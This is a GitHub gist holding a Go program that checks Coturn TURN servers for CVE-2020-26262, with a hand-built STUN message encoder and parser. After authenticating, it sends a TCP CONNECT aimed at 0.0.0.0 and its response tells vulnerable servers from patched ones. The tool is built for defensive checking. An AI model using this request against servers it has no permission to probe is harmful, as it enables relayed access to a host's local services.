Skip to content

Instantly share code, notes, and snippets.

@thib-ack
Created January 12, 2021 09:27
Show Gist options
  • Save thib-ack/b6ca25a6af887dc22ce1aaf4275b99f4 to your computer and use it in GitHub Desktop.
Save thib-ack/b6ca25a6af887dc22ce1aaf4275b99f4 to your computer and use it in GitHub Desktop.
Coturn CVE-2020-26262 vulnerability checker
/*
MIT License
Copyright (c) 2021 Thibaut ACKERMANN
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package main
import (
"bytes"
"crypto/hmac"
"crypto/md5"
"crypto/sha1"
"crypto/tls"
"encoding/binary"
"errors"
"fmt"
"hash/crc32"
"math/rand"
"net"
"os"
"strconv"
"strings"
)
func main() {
if len(os.Args) != 5 {
fmt.Println("Usage:", os.Args[0], "{tcp,tls}:<turnserver_ip:port> <username> <password> <local_port>")
fmt.Println()
fmt.Println("This program will connect to the <turnserver_ip:port> using the given <username>/<password> for LongTerm authentication.")
fmt.Println("It will ask for a new TCP Allocation, and then ask the server to Connect to the address 0.0.0.0:<local_port>")
fmt.Println("through the allocation.")
fmt.Println("A protected server should refuse this, a vulnerable server will accept it.")
fmt.Println("You can use the <local_port> of a running local service on your turnserver, but any port can be checked because")
fmt.Println("a protected server should refuse the request before even trying to connect to the local service.")
os.Exit(1)
}
turnAddress := os.Args[1]
username := os.Args[2]
password := os.Args[3]
localPortStr := os.Args[4]
localPort, err := strconv.Atoi(localPortStr)
if err != nil {
fmt.Println("Invalid local_port.", err)
os.Exit(1)
}
var conn net.Conn
if strings.HasPrefix(turnAddress, "tcp:") {
var err error
conn, err = net.Dial("tcp", turnAddress[4:])
if err != nil {
fmt.Println("Cannot connect to turn server.", err)
os.Exit(1)
}
} else if strings.HasPrefix(turnAddress, "tls:") {
var err error
conf := &tls.Config{
InsecureSkipVerify: true,
}
conn, err = tls.Dial("tcp", turnAddress[4:], conf)
if err != nil {
fmt.Println("Cannot connect to turn server.", err)
os.Exit(1)
}
} else {
fmt.Println("Invalid protocol for turnserver. Use format like tcp:1.2.3.4:3478 or tls:1.2.3.4:3478")
os.Exit(1)
}
defer conn.Close()
fmt.Println("Connected to turn server", turnAddress)
// Send ALLOCATE without auth
response, err := SendUnauthAllocate(conn)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
if response.Class() != ClassError {
fmt.Println("Invalid reponse: No authentication ?")
os.Exit(1)
}
// Extract realm&nonce
realm, err1 := response.GetAttributeRealm()
nonce, err2 := response.GetAttributeNonce()
if err1 != nil || err2 != nil {
fmt.Println("Cannot get realm/nonce from response", err1, err2)
os.Exit(1)
}
// Send ALLOCATE with auth
response, err = SendAuthAllocate(conn, realm, nonce, username, password)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
if response.Class() == ClassError {
code, errMsg, err := response.GetAttributeErrorCode()
fmt.Println("Invalid reponse: Authentication failed.", code, errMsg, err)
os.Exit(1)
}
// Send CONNECT
responseMsg, err := SendConnect(conn, realm, nonce, username, password, uint16(localPort))
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// Based on server response to this CONNECT request,
// we can know if it is vulnerable
if responseMsg.Class() == ClassSuccess {
// Request accepted by server -> that's an issue.
fmt.Println("Invalid CONNECT reponse: you are VULERABLE")
os.Exit(1)
}
if responseMsg.Class() == ClassError {
code, errMsg, err := responseMsg.GetAttributeErrorCode()
if err != nil {
fmt.Println("Cannot get ErrorCode.", err)
os.Exit(1)
}
// An ERROR "447: Connection Timeout or Failure" means there is no service running on this local_port on machine.
// But the server accepted the request, that's not a good news
// The only correct error is "403 Forbidden IP"
if code == 403 && errMsg == "Forbidden IP" {
fmt.Println("Correct CONNECT reponse: you are NOT vulnerable")
// This is the only correct exit.
os.Exit(0)
} else if code == 447 {
fmt.Printf("Invalid CONNECT reponse: you are VULERABLE (there is no local service running on 0.0.0.0:%d but the server should have refused anyway)\n", localPort)
} else {
fmt.Println("Invalid response: ", code, errMsg)
}
}
os.Exit(1)
}
func SendUnauthAllocate(conn net.Conn) (*Message, error) {
buffer := make([]byte, 512)
// 1. ask for new TCP allocation (without auth)
allocateMsg := NewMessage(ClassRequest, MethodAllocate, NewTransactionID())
allocateMsg.AddAttributeRequestedTransport(RequestedProtocolTCP)
allocateMsg.AddAttributeSoftware(SoftwareName)
allocateMsg.AddAttributeFingerprint()
_, err := conn.Write(allocateMsg.Bytes())
if err != nil {
return nil, fmt.Errorf("cannot write Unauth Allocate message. %v", err)
}
n, err := conn.Read(buffer)
if err != nil {
return nil, fmt.Errorf("cannot read Unauth Allocate response. %v", err)
}
responseMsg, err := NewMessageFromData(buffer[:n])
if err != nil {
return nil, fmt.Errorf("cannot parse Unauth Allocate response. %v", err)
}
return responseMsg, nil
}
func SendAuthAllocate(conn net.Conn, realm string, nonce string, username string, password string) (*Message, error) {
buffer := make([]byte, 512)
// 1. ask for new TCP allocation (without auth)
allocateMsg := NewMessage(ClassRequest, MethodAllocate, NewTransactionID())
allocateMsg.AddAttributeRequestedTransport(RequestedProtocolTCP)
allocateMsg.AddAttributeNonce(nonce)
allocateMsg.AddAttributeUsername(username)
allocateMsg.AddAttributeRealm(realm)
allocateMsg.AddAttributeSoftware(SoftwareName)
allocateMsg.AddAttributeMessageIntegrity(realm, username, password)
allocateMsg.AddAttributeFingerprint()
_, err := conn.Write(allocateMsg.Bytes())
if err != nil {
return nil, fmt.Errorf("cannot write Auth Allocate message. %v", err)
}
n, err := conn.Read(buffer)
if err != nil {
return nil, fmt.Errorf("cannot read Auth Allocate response. %v", err)
}
responseMsg, err := NewMessageFromData(buffer[:n])
if err != nil {
return nil, fmt.Errorf("cannot parse Auth Allocate response. %v", err)
}
return responseMsg, nil
}
func SendConnect(conn net.Conn, realm string, nonce string, username string, password string, localPort uint16) (*Message, error) {
buffer := make([]byte, 512)
connectMsg := NewMessage(ClassRequest, MethodConnect, NewTransactionID())
// Here is the trick : "invalid" xor-peer-address with IP 0.0.0.0
connectMsg.AddAttributeXorPeerAddress(IPPortAddr{IP: net.IPv4(0, 0, 0, 0), Port: localPort})
connectMsg.AddAttributeNonce(nonce)
connectMsg.AddAttributeUsername(username)
connectMsg.AddAttributeRealm(realm)
connectMsg.AddAttributeSoftware(SoftwareName)
connectMsg.AddAttributeMessageIntegrity(realm, username, password)
connectMsg.AddAttributeFingerprint()
_, err := conn.Write(connectMsg.Bytes())
if err != nil {
return nil, fmt.Errorf("cannot write Connect message. %v", err)
}
n, err := conn.Read(buffer)
if err != nil {
return nil, fmt.Errorf("cannot read Connect response. %v", err)
}
responseMsg, err := NewMessageFromData(buffer[:n])
if err != nil {
return nil, fmt.Errorf("cannot parse Connect response. %v", err)
}
return responseMsg, nil
}
const SoftwareName = "Coturn-CVE-2020-26262"
const HeaderLength = uint16(20)
type Class byte
const (
ClassRequest Class = 0x00
ClassIndication Class = 0x01
ClassSuccess Class = 0x02
ClassError Class = 0x03
)
type Method uint16
const (
MethodAllocate Method = 0x0003
MethodConnect Method = 0x000a
)
const Magic = uint32(0x2112A442)
type TransactionID [12]byte
func NewTransactionID() TransactionID {
var tid TransactionID
rand.Read(tid[:])
return tid
}
type Message struct {
class Class
method Method
length uint16
id TransactionID
buffer bytes.Buffer
data []byte
offsetsForAttributes map[AttributeType][]uint16
}
func (message *Message) Class() Class {
return message.class
}
func (message *Message) Method() Method {
return message.method
}
func (message *Message) PrepareMessage(class Class, method Method, id TransactionID) {
message.class = class
message.method = method
message.length = 0
// No need to copy the id as arrays are passed by value not by reference (unlike slices)
message.id = id
/*
STUN Message Header :
0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0 0| STUN Message Type | Message Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Magic Cookie |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| Transaction ID (96 bits) |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/
/*
STUN Message Type :
0 1
2 3 4 5 6 7 0 1 2 3 4 5 6 7
+--+--+-+-+-+-+-+-+-+-+-+-+-+-+
|M |M |M|M|M|C|M|M|M|C|M|M|M|M|
|11|10|9|8|7|1|6|5|4|0|3|2|1|0|
+--+--+-+-+-+-+-+-+-+-+-+-+-+-+
*/
message.buffer.Reset()
message.buffer.WriteByte(byte(message.class&0x02>>1) | byte(message.method&0x0F80>>6))
message.buffer.WriteByte(byte(message.class&0x01<<4) | byte(message.method&0x0070<<1) | byte(message.method&0x000F))
message.buffer.Write(bigEndianUint16(uint16(message.length)))
message.buffer.Write(bigEndianUint32(Magic))
message.buffer.Write(id[:])
}
func (message *Message) Bytes() []byte {
var data = message.buffer.Bytes()
if (data[0] & 0xC0) == 0 {
// Update total message length and return byte array
if len(data) >= int(HeaderLength) {
binary.BigEndian.PutUint16(data[2:], uint16(len(data))-HeaderLength)
}
}
return data
}
func (message *Message) addPadding() {
// Align message content on 32 bits
if padding := message.buffer.Len() & 0x0003; padding != 0 {
switch padding {
case 1:
// we have to add 3 x byte(0)
message.buffer.Write([]byte{0, 0, 0})
case 2:
// we have to add 2 x byte(0)
message.buffer.Write([]byte{0, 0})
case 3:
// we have to add 1 x byte(0)
message.buffer.WriteByte(0)
}
}
}
func (message *Message) Parse(data []byte) error {
message.data = data
// At least the first byte is required.
if len(message.data) == 0 {
return fmt.Errorf("message is empty")
}
// Based 2 first bits we can guess the message type:
// - 00xx xxxx (standard STUN message)
if (message.data[0] & 0xC0) == 0 {
return message.parseStandardMessage()
}
return fmt.Errorf("data does not start with 00 or 01 bits")
}
func (message *Message) parseStandardMessage() error {
if len(message.data) < int(HeaderLength) {
return fmt.Errorf("message too short")
}
// Check the magic word
magicWord := binary.BigEndian.Uint32(message.data[4:])
if magicWord != Magic {
return fmt.Errorf("bad magic word %x", magicWord)
}
message.class = Class(((message.data[0] & 0x1) << 1) | ((message.data[1] & 0x10) >> 4))
message.method = Method(((message.data[0] & 0x3E) << 6) | ((message.data[1] & 0xE0) >> 1) | (message.data[1] & 0x0F))
message.length = binary.BigEndian.Uint16(message.data[2:])
if len(message.data) != int(HeaderLength+message.length) {
return fmt.Errorf("bad data length. Expected %d bytes where got %d bytes", HeaderLength+message.length, len(message.data))
}
copy(message.id[:], message.data[8:20])
switch message.method {
case MethodAllocate:
case MethodConnect:
default:
return fmt.Errorf("unknown method %v", message.method)
}
/*
Any attribute type MAY appear more than once in a STUN message.
Unless specified otherwise, the order of appearance is significant:
only the first occurrence needs to be processed by a receiver, and
any duplicates MAY be ignored by a receiver.
*/
// Find the attributes offset in body
// we store an array of offset if attribute appears multiple times
// we'll then use the first element of array most of the time
message.offsetsForAttributes = make(map[AttributeType][]uint16)
var remainingLength = message.length
var MessageIntegrityFound = false
for remainingLength > 0 {
var attrOffset = HeaderLength + message.length - remainingLength
var attrType = AttributeType(binary.BigEndian.Uint16(message.data[attrOffset:]))
var attrLength = binary.BigEndian.Uint16(message.data[attrOffset+2:])
// Padding. Align length on 4 bytes
if remain := attrLength & 0x0003; remain != 0 {
attrLength = attrLength + 4 - remain
}
/*
With the exception of the FINGERPRINT
attribute, which appears after MESSAGE-INTEGRITY, agents MUST ignore
all other attributes that follow MESSAGE-INTEGRITY.
*/
if MessageIntegrityFound == true && attrType != Fingerprint {
//message.upturn.logger.Warningf("Ignoring attribute %x which appear *after* MESSAGE-INTEGRITY", attrType)
} else {
message.offsetsForAttributes[attrType] = append(message.offsetsForAttributes[attrType], attrOffset)
}
if attrType == MessageIntegrity {
MessageIntegrityFound = true
}
if (AttributeHeaderLength + attrLength) > remainingLength {
// The attribute has a bad length value.
// If we don't handle this, we might go out-of-bounds
return fmt.Errorf("attribute %v has bad length value", attrType)
}
// Go to next attribute.
remainingLength -= AttributeHeaderLength + attrLength
if attrType == Fingerprint {
/*
When present, the FINGERPRINT attribute MUST be the last attribute in
the message, and thus will appear after MESSAGE-INTEGRITY.
*/
if remainingLength > 0 {
return fmt.Errorf("fingerprint attribute is not the last one")
}
}
}
/*
The FINGERPRINT attribute MAY be present in all STUN messages. The
value of the attribute is computed as the CRC-32 of the STUN message
up to (but excluding) the FINGERPRINT attribute itself, XOR'ed with
the 32-bit value 0x5354554e
*/
var fingerprintOffsets = message.offsetsForAttributes[Fingerprint]
if len(fingerprintOffsets) > 0 {
var crcExpected = binary.BigEndian.Uint32(message.data[(fingerprintOffsets[0] + AttributeHeaderLength):])
// CRC of header + body up to the Fingerprint attribute itself
var crcComputed = crc32.Checksum(message.data[:(fingerprintOffsets[0])], crc32.IEEETable)
crcComputed = crcComputed ^ 0x5354554e
/*
If the FINGERPRINT extension
is being used, the agent checks that the FINGERPRINT attribute is
present and contains the correct value. If any errors are detected,
the message is silently discarded.
*/
if crcExpected != crcComputed {
return fmt.Errorf("fingerprint CRC-32 does not match. Computed value is %#x, expected value is %#x", crcComputed, crcExpected)
}
}
// Parsing succeed
return nil
}
/*
0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Value (variable) ....
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Figure 4: Format of STUN Attributes
Attribute types :
Comprehension-required range (0x0000-0x7FFF):
Comprehension-optional range (0x8000-0xFFFF)
*/
type AttributeType uint16
const AttributeHeaderLength = 4
const (
Username AttributeType = 0x0006
MessageIntegrity AttributeType = 0x0008
ErrorCode AttributeType = 0x0009
Realm AttributeType = 0x0014
Nonce AttributeType = 0x0015
Software AttributeType = 0x8022
Fingerprint AttributeType = 0x8028
XorPeerAddress AttributeType = 0x0012
RequestedTransport AttributeType = 0x0019
)
// Generic ip:port address without knownledge of UDP or TCP protocol
// like imposed with net.UDPAddr and net.TCPAddr
type IPPortAddr struct {
IP net.IP
Port uint16
}
var ErrAttributeNotFoundError = errors.New("attribute not found")
func (message *Message) addAttributeString(attribute AttributeType, value string) {
// Attribute header : type + real length (non-padded)
message.buffer.Write(bigEndianUint16(uint16(attribute)))
message.buffer.Write(bigEndianUint16(uint16(len(value))))
message.buffer.Write([]byte(value))
message.addPadding()
}
func (message *Message) getFirstAttributeString(attribute AttributeType) (string, error) {
var offsets = message.offsetsForAttributes[attribute]
if len(offsets) == 0 {
return "", ErrAttributeNotFoundError
}
// Use the first attribute
var offset = offsets[0]
var length = binary.BigEndian.Uint16(message.data[(offset + 2):])
return string(message.data[(offset + AttributeHeaderLength) : (offset+AttributeHeaderLength)+length]), nil
}
func (message *Message) addAttributeUint32(attribute AttributeType, value uint32) {
// Attribute header : type + real length (non-padded)
message.buffer.Write(bigEndianUint16(uint16(attribute)))
message.buffer.Write(bigEndianUint16(4))
message.buffer.Write(bigEndianUint32(value))
}
func (message *Message) addAttributeAddress(attribute AttributeType, address IPPortAddr, xor bool) bool {
/*
0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0 0 0 0 0 0 0 0| Family | Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| Address (32 bits or 128 bits) |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Figure 5: Format of MAPPED-ADDRESS Attribute
*/
var ipFamily uint16
if address.IP.To4() != nil {
ipFamily = 0x0001
} else if address.IP.To16() != nil {
ipFamily = 0x0002
} else {
fmt.Printf("Error, unknown IP family %+v\n", address)
return false
}
// Attribute header
message.buffer.Write(bigEndianUint16(uint16(attribute)))
if ipFamily == 0x0001 {
message.buffer.Write(bigEndianUint16(uint16(8))) // family (2) + port (2) + ipv4 (4)
} else if ipFamily == 0x0002 {
message.buffer.Write(bigEndianUint16(uint16(20))) // family (2) + port (2) + ipv6 (16)
}
// XorMappedAddress body
message.buffer.Write(bigEndianUint16(uint16(ipFamily)))
if xor == true {
var xPort = address.Port ^ uint16(Magic>>16)
message.buffer.Write(bigEndianUint16(xPort))
} else {
message.buffer.Write(bigEndianUint16(address.Port))
}
if ipFamily == 0x0001 {
if xor == true {
var xAddress = uint32(binary.BigEndian.Uint32(address.IP.To4()) ^ Magic)
message.buffer.Write(bigEndianUint32(xAddress))
} else {
message.buffer.Write(address.IP.To4())
}
} else if ipFamily == 0x0002 {
/*
If the IP address
family is IPv6, X-Address is computed by taking the mapped IP address
in host byte order, XOR'ing it with the concatenation of the magic
cookie and the 96-bit transaction ID, and converting the result to
network byte order.
*/
var ip6 = address.IP.To16()
if xor == true {
var xAddress1 = uint32(binary.BigEndian.Uint32(ip6[0:]) ^ Magic)
var xAddress2 = uint32(binary.BigEndian.Uint32(ip6[4:]) ^ binary.BigEndian.Uint32(message.id[0:]))
var xAddress3 = uint32(binary.BigEndian.Uint32(ip6[8:]) ^ binary.BigEndian.Uint32(message.id[4:]))
var xAddress4 = uint32(binary.BigEndian.Uint32(ip6[12:]) ^ binary.BigEndian.Uint32(message.id[8:]))
message.buffer.Write(bigEndianUint32(xAddress1))
message.buffer.Write(bigEndianUint32(xAddress2))
message.buffer.Write(bigEndianUint32(xAddress3))
message.buffer.Write(bigEndianUint32(xAddress4))
} else {
message.buffer.Write(ip6)
}
}
return true
}
func (message *Message) AddAttributeUsername(username string) {
message.addAttributeString(Username, username)
}
func (message *Message) AddAttributeMessageIntegrity(realm string, username string, password string) {
/*
The length MUST then
be set to point to the length of the message up to, and including,
the MESSAGE-INTEGRITY attribute itself, but excluding any attributes
after it.
*/
var bytes = message.buffer.Bytes()
binary.BigEndian.PutUint16(bytes[2:], uint16(uint16(len(bytes))+AttributeHeaderLength+sha1.Size-HeaderLength))
var key = md5.Sum([]byte(fmt.Sprintf("%s:%s:%s", username, realm, password)))
var mac = hmac.New(sha1.New, key[:])
mac.Write(bytes)
var hmacComputed = mac.Sum(nil)
message.buffer.Write(bigEndianUint16(uint16(MessageIntegrity)))
message.buffer.Write(bigEndianUint16(uint16(sha1.Size)))
message.buffer.Write(hmacComputed)
}
func (message *Message) GetAttributeErrorCode() (uint16, string, error) {
var offsets = message.offsetsForAttributes[ErrorCode]
if len(offsets) == 0 {
return 0, "", ErrAttributeNotFoundError
}
// Use the first attribute
var offset = offsets[0]
var length = binary.BigEndian.Uint16(message.data[(offset + 2):])
// length = 4 + reason length
var class = uint16(message.data[(offset + AttributeHeaderLength + 2)])
/*
The Class represents the hundreds digit of the error code.
The value MUST be between 3 and 6.
*/
if class < 3 || class > 6 {
return 0, "", fmt.Errorf("invalid ERROR-CODE class")
}
/*
The Number represents the error code modulo 100, and its value MUST be between 0 and 99.
*/
var number = uint16(message.data[(offset+AttributeHeaderLength+3)]) % 100
var code = (class * 100) + number
return code, string(message.data[(offset + AttributeHeaderLength + 4) : (offset+AttributeHeaderLength+4)+(length-4)]), nil
}
func (message *Message) AddAttributeRealm(realm string) {
message.addAttributeString(Realm, realm)
}
func (message *Message) GetAttributeRealm() (string, error) {
return message.getFirstAttributeString(Realm)
}
func (message *Message) AddAttributeNonce(nonce string) {
message.addAttributeString(Nonce, nonce)
}
func (message *Message) GetAttributeNonce() (string, error) {
return message.getFirstAttributeString(Nonce)
}
func (message *Message) AddAttributeSoftware(software string) {
message.addAttributeString(Software, software)
}
func (message *Message) AddAttributeFingerprint() {
/*
As with MESSAGE-INTEGRITY, the CRC used in the FINGERPRINT attribute
covers the length field from the STUN message header. Therefore,
this value must be correct and include the CRC attribute as part of
the message length, prior to computation of the CRC. When using the
FINGERPRINT attribute in a message, the attribute is first placed
into the message with a dummy value, then the CRC is computed, and
then the value of the attribute is updated. If the MESSAGE-INTEGRITY
attribute is also present, then it must be present with the correct
message-integrity value before the CRC is computed, since the CRC is
done over the value of the MESSAGE-INTEGRITY attribute as well.
*/
var bytes = message.buffer.Bytes()
binary.BigEndian.PutUint16(bytes[2:], uint16(uint16(len(bytes))+AttributeHeaderLength+4-HeaderLength))
var crcComputed = crc32.Checksum(bytes, crc32.IEEETable)
crcComputed = crcComputed ^ 0x5354554e
message.buffer.Write(bigEndianUint16(uint16(Fingerprint)))
message.buffer.Write(bigEndianUint16(uint16(4)))
message.buffer.Write(bigEndianUint32(crcComputed))
}
type RequestedProtocol byte
const (
RequestedProtocolTCP = RequestedProtocol(6)
)
func (message *Message) AddAttributeXorPeerAddress(address IPPortAddr) {
message.addAttributeAddress(XorPeerAddress, address, true)
}
func (message *Message) AddAttributeRequestedTransport(protocolNumber RequestedProtocol) {
/*
0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Protocol | RFFU |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/
message.addAttributeUint32(RequestedTransport, uint32(protocolNumber)<<24)
}
func NewMessage(class Class, method Method, id TransactionID) *Message {
message := new(Message)
message.PrepareMessage(class, method, id)
return message
}
func NewMessageFromData(data []byte) (*Message, error) {
message := new(Message)
err := message.Parse(data)
if err != nil {
return nil, err
}
return message, nil
}
// -- value to big endian
func bigEndianUint16(v uint16) []byte {
b := [2]byte{}
b[0] = byte(v >> 8)
b[1] = byte(v)
return b[:]
}
func bigEndianUint32(v uint32) []byte {
b := [4]byte{}
b[0] = byte(v >> 24)
b[1] = byte(v >> 16)
b[2] = byte(v >> 8)
b[3] = byte(v)
return b[:]
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment